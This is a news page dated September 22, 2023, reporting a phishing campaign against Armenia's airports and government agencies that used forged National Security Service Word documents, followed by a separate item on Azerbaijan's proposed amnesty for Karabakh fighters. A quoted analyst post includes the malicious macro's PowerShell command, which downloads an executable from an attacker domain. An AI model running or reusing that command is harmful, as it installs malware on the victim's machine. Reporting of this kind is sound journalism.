Day: September 22, 2023

YEREVAN, SEPTEMBER 22, ARMENPRESS. The Armenia International Airports and governmental agencies came under heavy cyberattacks prior to the Azeri attack on Nagorno-Karabakh.

Information security expert Samvel Martirosyan told ARMENPRESS that the attacks happened September 10-19.

Hackers used an MS Word document with a virus falsely presented as a warning by the National Security Service.

“They spread fake statements addressed from the NSS, letters to specific targets, including the airport and state institutions. The attackers were very well aware of the Armenian internal bureaucratic processes, the ongoing situation,” Martirosyan warned.

The cyberattacks were clearly carried out by a serious team, most likely with links to governments.

“At this moment I can’t say who was behind this attack,” he said, adding that there are few countries who could have done so.

Singapore-based web analyst Zhixiang Hao also commented on the cyber-attack on X.

“APT attacks target Armenia. Attackers forged documents from the National Security Service of the Republic of Armenia，There is vba macro code powershell iwr https://karabakhtelekom[.com/api/ekeng-mta.exe -UsebasicParsing -Outfile C:usersPublicDownloadsekeng-mta.exe,” he posted on X.

Azerbaijan envisages an amnesty for Karabakh Armenian fighters who give up their arms, though there have been some Karabakh military units which have said they will continue their resistance, Assistant to the President of Azerbaijan – Head of the Foreign Policy Affairs Department of the Presidential Administration Hikmet Hajiyev told Reuters, Report informs.

“Even with regard to former militaries and combatants, if they can be classified in such a way, and even for them we are envisaging an amnesty or alluding to an amnesty as well,” Hajiyev said.

Karabakh Armenian rights would be respected as part of their reintegration into Azerbaijan, he said, adding that they had requested humanitarian support as well as oil and gasoline supplies. Three cargos of humanitarian help would be delivered to the region on September 22, he said.

“Currently we are seeing that some individual army groups and officers that made the public statements that they won’t come to our terms and will continue resistance,” he said.

“We also see that some minor groups are going to the forest,” he said. “But we do not see that to be the biggest challenge, and big security challenge. Of course, this will cause certain challenges and difficulties but not on a such a big scale.”